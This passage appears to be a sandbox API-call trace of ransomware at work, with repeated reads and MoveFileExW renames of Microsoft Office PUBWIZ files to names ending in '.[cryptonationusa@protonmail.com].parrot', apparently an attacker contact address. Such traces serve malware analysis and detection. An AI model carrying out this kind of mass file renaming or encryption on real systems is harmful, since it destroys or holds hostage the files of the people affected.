hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0207.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.215] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.262] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.262] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x301be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x301be, lpOverlapped=0x0) returned 1 [0207.268] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.272] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0207.283] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.283] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.284] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.284] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cb0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1cb0, lpOverlapped=0x0) returned 1 [0207.285] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0207.292] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.293] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.294] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.294] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f814, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2f814, lpOverlapped=0x0) returned 1 [0207.300] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0207.313] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.313] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.314] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1dbc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1dbc, lpOverlapped=0x0) returned 1 [0207.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0207.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.322] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.323] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.323] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5000, lpOverlapped=0x0) returned 1 [0207.324] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0207.331] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.331] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.333] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbbc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbbc, lpOverlapped=0x0) returned 1 [0207.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0207.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.339] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.340] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x220, lpOverlapped=0x0) returned 1 [0207.340] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0207.345] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.345] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.346] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.346] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6df7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6df7, lpOverlapped=0x0) returned 1 [0207.347] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0207.353] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.353] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.354] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.355] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbbc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbbc, lpOverlapped=0x0) returned 1 [0207.355] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0207.361] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.361] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.362] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.362] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc00, lpOverlapped=0x0) returned 1 [0207.363] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzip.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIP.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzip.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0207.367] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.367] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.368] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.368] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd6, lpOverlapped=0x0) returned 1 [0207.368] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0207.373] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.373] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.413] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c56, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c56, lpOverlapped=0x0) returned 1 [0207.414] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DOTS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dots.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DOTS.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dots.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0207.420] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.420] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.421] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.422] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10c34, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10c34, lpOverlapped=0x0) returned 1 [0207.424] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DVDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dvdhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DVDHM.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dvdhm.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0207.433] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.433] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.434] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.434] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7dc55, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7dc55, lpOverlapped=0x0) returned 1 [0207.448] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0207.487] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.487] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.490] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | 